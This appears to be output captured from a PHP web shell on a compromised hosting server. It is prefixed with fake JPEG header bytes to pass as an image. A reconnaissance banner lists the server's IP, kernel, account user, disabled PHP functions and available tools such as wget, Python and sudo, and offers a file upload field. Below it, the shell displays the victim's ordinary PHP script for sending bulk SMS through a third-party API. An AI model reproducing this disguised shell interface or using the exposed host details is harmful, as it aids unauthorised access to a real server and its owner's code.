ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.226.17.174 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/cms/public/ |
Upload File : |
<?php //die("jfjfgjf"); header("Content-Type:application/json"); $data = json_decode(file_get_contents('php://input'), true); $dt=json_encode($data); $data = json_decode($dt); //$year=$data->year; $username=$data->username; //die($username); $apikey=$data->apikey; $sendername=$data->sendername; $messagetext=$data->messagetext; $recipients=$data->recipients; //die("kkkk"); $url="http://api.ebulksms.com:8080/sendsms.json"; $flash='0'; $gsm = array(); $country_code = '234'; $arr_recipient = explode(',', $recipients); foreach ($arr_recipient as $recipient) { $mobilenumber = trim($recipient); if (substr($mobilenumber, 0, 1) == '0'){ $mobilenumber = $country_code . substr($mobilenumber, 1); } elseif (substr($mobilenumber, 0, 1) == '+'){ $mobilenumber = substr($mobilenumber, 1); } $generated_id = uniqid('int_', false); $generated_id = substr($generated_id, 0, 30); $gsm['gsm'][] = array('msidn' => $mobilenumber, 'msgid' => $generated_id); } $message = array( 'sender' => $sendername, 'messagetext' => $messagetext, 'flash' => "{$flash}", ); $request = array('SMS' => array( 'auth' => array( 'username' => $username, 'apikey' => $apikey ), 'message' => $message, 'recipients' => $gsm )); $json_data = json_encode($request); //dd($json_data); if ($json_data) { $arr_params=$json_data; $response = array(); $final_url_data = $arr_params; if (is_array($arr_params)) { $final_url_data = http_build_query($arr_params, '', '&'); } //dd($final_url_data); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POSTFIELDS, $final_url_data); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json')); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_NOSIGNAL, 1); curl_setopt($ch, CURLOPT_VERBOSE, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response['body'] = curl_exec($ch); $response['code'] = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); $response = $response['body']; $result = json_decode($response); die($response); //return $result->response->status; } else { die(false); //return false; } // return $response['body']; ?>